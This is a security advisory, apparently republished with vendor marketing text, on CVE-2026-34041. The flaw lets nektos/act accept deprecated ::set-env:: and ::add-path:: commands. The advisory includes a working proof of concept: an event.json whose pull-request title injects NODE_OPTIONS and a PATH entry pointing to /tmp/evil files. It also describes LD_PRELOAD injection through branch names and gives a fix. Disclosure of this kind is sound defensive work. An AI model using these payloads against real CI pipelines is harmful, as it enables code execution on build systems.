Summary
act unconditionally processes the deprecated ::set-env:: and ::add-path:: workflow commands, which GitHub Actions disabled in October 2020 (CVE-2020-15228, GHSA-mfwh-5m23-j46w) due to environment injection risks. When a workflow step echoes untrusted data to stdout, an attacker can inject these commands to set arbitrary environment variables or modify the PATH for all subsequent steps in the job. This makes act strictly less secure than GitHub Actions for the same workflow file.
Vulnerable Code
pkg/runner/command.go, lines 52-58:
switch command {
case "set-env":
rc.setEnv(ctx, kvPairs, arg)
case "set-output":
rc.setOutput(ctx, kvPairs, arg)
case "add-path":
rc.addPath(ctx, arg)
There is no check for the ACTIONS_ALLOW_UNSECURE_COMMANDS environment variable. The string ACTIONS_ALLOW_UNSECURE_COMMANDS does not appear anywhere in the act codebase.
On GitHub Actions, these commands are rejected unless ACTIONS_ALLOW_UNSECURE_COMMANDS=true is set:
Error: The `set-env` command is disabled. Please upgrade to using Environment Files
or opt-in by setting ACTIONS_ALLOW_UNSECURE_COMMANDS=true.
PoC: Environment and PATH Injection via PR Title
Tested on: act 0.2.84, Docker Desktop 29.1.2, macOS Darwin 24.5.0
Step 1, Create a workflow that logs PR metadata:
.github/workflows/vuln.yml:
name: Vulnerable Workflow
on: [pull_request]
jobs:
build:
runs-on: ubuntu-latest
steps:
- name: Log PR info
run: |
echo "Processing PR: ${{ github.event.pull_request.title }}"
- name: Subsequent step - check environment
run: |
echo "=== Environment Injection Check ==="
echo "NODE_OPTIONS=$NODE_OPTIONS"
echo "EVIL_VAR=$EVIL_VAR"
echo "PATH=$PATH"
Step 2, Create a malicious event payload:
event.json:
{
"pull_request": {
"title": "Fix typo\n::set-env name=EVIL_VAR::INJECTED_BY_ATTACKER\n::set-env name=NODE_OPTIONS::--require=/tmp/evil.js\n::add-path::/tmp/evil-bin",
"number": 1,
"head": { "ref": "fix-typo", "sha": "abc123" },
"base": { "ref": "main", "sha": "def456" }
}
}
Step 3, Run:
git init && git add -A && git commit -m "init"
act pull_request -e event.json
Result:
[Vulnerable Workflow/build] | Processing PR: Fix typo
[Vulnerable Workflow/build] ⚙ ::set-env:: EVIL_VAR=INJECTED_BY_ATTACKER
[Vulnerable Workflow/build] ⚙ ::set-env:: NODE_OPTIONS=--require=/tmp/evil.js
[Vulnerable Workflow/build] ⚙ ::add-path:: /tmp/evil-bin
[Vulnerable Workflow/build] ✅ Success - Main Log PR info
[Vulnerable Workflow/build] | === Environment Injection Check ===
[Vulnerable Workflow/build] | NODE_OPTIONS=--require=/tmp/evil.js
[Vulnerable Workflow/build] | EVIL_VAR=INJECTED_BY_ATTACKER
[Vulnerable Workflow/build] | PATH=/tmp/evil-bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
[Vulnerable Workflow/build] | EXPLOITED: EVIL_VAR was injected into this step!
[Vulnerable Workflow/build] ✅ Success
[Vulnerable Workflow/build] 🏁 Job succeeded
All three injections succeeded silently:
EVIL_VAR=INJECTED_BY_ATTACKER, arbitrary env var injected into subsequent stepNODE_OPTIONS=--require=/tmp/evil.js, Node.js code execution vector/tmp/evil-binprepended to PATH, command hijacking vector
Attack Scenarios
Scenario 1: Malicious PR title/body. An attacker opens a PR with ::set-env name=NODE_OPTIONS::--require=/tmp/evil.js embedded in the title. If any workflow step echoes the title (common for build summaries, Slack notifications, changelog generation), the injection fires. On GitHub Actions this is blocked. On act, it succeeds.
Scenario 2: Malicious branch name. ${{ github.head_ref }} is attacker-controlled. A branch named fix-typo%0A::set-env name=LD_PRELOAD::/tmp/evil.so can inject LD_PRELOAD, which causes every subsequent dynamically-linked binary to load the attacker's shared library.
Scenario 3: Commit message injection. If a step runs git log --oneline and the output flows to stdout, an attacker's commit message containing ::set-env:: commands will be processed.
Written by Golan Myers
Impact
- Command injection via env vars:
LD_PRELOAD,NODE_OPTIONS,PYTHONPATH,BASH_ENV,PERL5OPTall enable arbitrary code execution - PATH hijacking: attacker-controlled directory prepended to PATH hijacks any subsequent command
- Cross-step escalation: a step that merely logs untrusted data compromises all subsequent steps
- Supply chain risk: workflows that are safe on GitHub Actions become exploitable when run locally with act, developers have a false sense of security
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Add a check matching GitHub Actions' behavior:
case "set-env":
if rc.Env["ACTIONS_ALLOW_UNSECURE_COMMANDS"] != "true" {
logger.Errorf("The `set-env` command is disabled. Please upgrade to using Environment Files or opt-in by setting ACTIONS_ALLOW_UNSECURE_COMMANDS=true")
return false
}
rc.setEnv(ctx, kvPairs, arg)
case "add-path":
if rc.Env["ACTIONS_ALLOW_UNSECURE_COMMANDS"] != "true" {
logger.Errorf("The `add-path` command is disabled. Please upgrade to using Environment Files or opt-in by setting ACTIONS_ALLOW_UNSECURE_COMMANDS=true")
return false
}
rc.addPath(ctx, arg)
This is a minimal, backwards-compatible fix, users who genuinely need these deprecated commands can opt in via ACTIONS_ALLOW_UNSECURE_COMMANDS=true, matching GitHub's approach.
Frequently Asked Questions
- What is CVE-2026-34041? CVE-2026-34041 is a high-severity security vulnerability in github.com/nektos/act (go), affecting versions <= 0.2.85. It is fixed in 0.2.86.
- Which versions of github.com/nektos/act are affected by CVE-2026-34041? github.com/nektos/act (go) versions <= 0.2.85 is affected.
- Is there a fix for CVE-2026-34041? Yes. CVE-2026-34041 is fixed in 0.2.86. Upgrade to this version or later.
- Is CVE-2026-34041 exploitable, and should I be worried? Whether CVE-2026-34041 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-34041 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-34041? Upgrade
github.com/nektos/actto 0.2.86 or later.